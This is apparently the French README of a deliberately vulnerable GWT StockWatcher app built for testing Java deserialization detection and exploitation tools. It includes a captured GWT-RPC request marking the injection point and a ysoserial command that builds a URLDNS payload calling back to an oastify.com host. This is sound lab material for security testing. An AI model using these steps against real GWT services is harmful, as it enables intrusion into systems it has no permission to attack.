
Une application web basée sur GWT, volontairement vulnérable, pour tester les outils et les techniques.
Ceci est une version de l'application d'exemple StockWatcher décrite dans le guide de démarrage de GWT qui a été modifiée pour utiliser la fonctionnalité "enhanced classes" de GWT, la rendant vulnérable à une attaque de désérialisation Java. Elle ne doit être utilisée que pour tester les outils de détection et d'exploitation. Les enhanced classes sont couramment utilisées dans les applications réelles basées sur GWT, mais jusqu'à la publication de cet exemple, il n'existait aucune application web open source facilement localisable que les professionnels de la sécurité pouvaient utiliser pour valider leurs outils et procédures.
Pour exécuter l'application web, vous aurez besoin d'un système Linux disposant des outils suivants :
openjdk-11-jreant (installez-le à l'aide du gestionnaire de paquets de votre distribution)L'application nécessite un certain nombre de fichiers JAR trop volumineux pour être inclus directement dans le contrôle de source GitHub. Le moyen le plus simple de commencer est donc de télécharger le dernier paquet depuis la page des versions et de le décompresser.
Une fois l'archive décompressée, modifiez cette ligne dans build.xml pour remplacer /home/user/GWT/gwt-2.10.0 par votre répertoire SDK GWT :
Depuis le répertoire du code source, exécutez les commandes suivantes :
ant build
ant devmode
Cela lancera l'application web vulnérable et la rendra accessible à l'adresse http://127.0.0.1:8888/StockWatcher.html.
Notez que si vous transférez le trafic vers le service local pour le rendre accessible à distance, vous devez également transférer le port 9876 en plus du 8888.
Si vous souhaitez cloner ce dépôt et exécuter l'application sans télécharger de version, vous devrez télécharger et ajouter les fichiers JAR tiers suivants dans le répertoire lib après l'avoir cloné :
Vous devrez également copier les fichiers JAR GWT suivants depuis votre répertoire GWT (par ex. gwt-2.10.0/) vers le répertoire lib de cette application vulnérable :
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarAprès avoir copié tous ces fichiers JAR, effectuez les autres étapes de la section Démarrage rapide ci-dessus.
À l'aide d'un navigateur web configuré pour se connecter via un proxy d'interception (comme Burp Suite), chargez l'URL http://127.0.0.1:8888/StockWatcher.html.
La page affichera d'abord un message « compilation ». Attendez qu'elle affiche ce formulaire de base :
Saisissez une chaîne courte dans le champ, par exemple BFOX, puis cliquez sur le bouton Add. La page devrait commencer à afficher des mises à jour aléatoires pour le symbole boursier simulé :
Dans l'historique de votre proxy d'interception, notez que votre navigateur envoie désormais à plusieurs reprises des requêtes POST à http://127.0.0.1:8888/stockwatcher/checkCustomClass1, similaires à celles-ci :
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Les données binaires encodées en Base64 rO0ABXcEAAAAAA== constituent un point d'injection vulnérable dans la requête. Pour exploiter l'application web, vous devrez générer un payload de remplacement. Par exemple, pour générer un payload URLDNS à l'aide de la version personnalisée d'ysoserial de Bishop Fox, vous pouvez exécuter la commande suivante :
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Envoyez une version modifiée de la requête qui remplace rO0ABXcEAAAAAA== par votre payload généré, et l'application vulnérable devrait le désérialiser et le déclencher. En plus de l'action que le payload provoque, la réponse devrait également inclure une NoSuchFieldException liée au nom du champ si la valeur a été désérialisée, par exemple en utilisant le nom bishopfox de l'exemple ci-dessus :
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Si vous avez utilisé la version précompilée de l'application web vulnérable, ou ajouté manuellement tous les JAR mentionnés ci-dessus à un build personnalisé, vous devriez (au minimum) pouvoir utiliser les payloads suivants contre l'application web :
Au moment de la rédaction de ce document, la version principale de ysoserial ne prenait pas en charge la sortie au format GWT. Assurez-vous donc d'utiliser le fork personnalisé.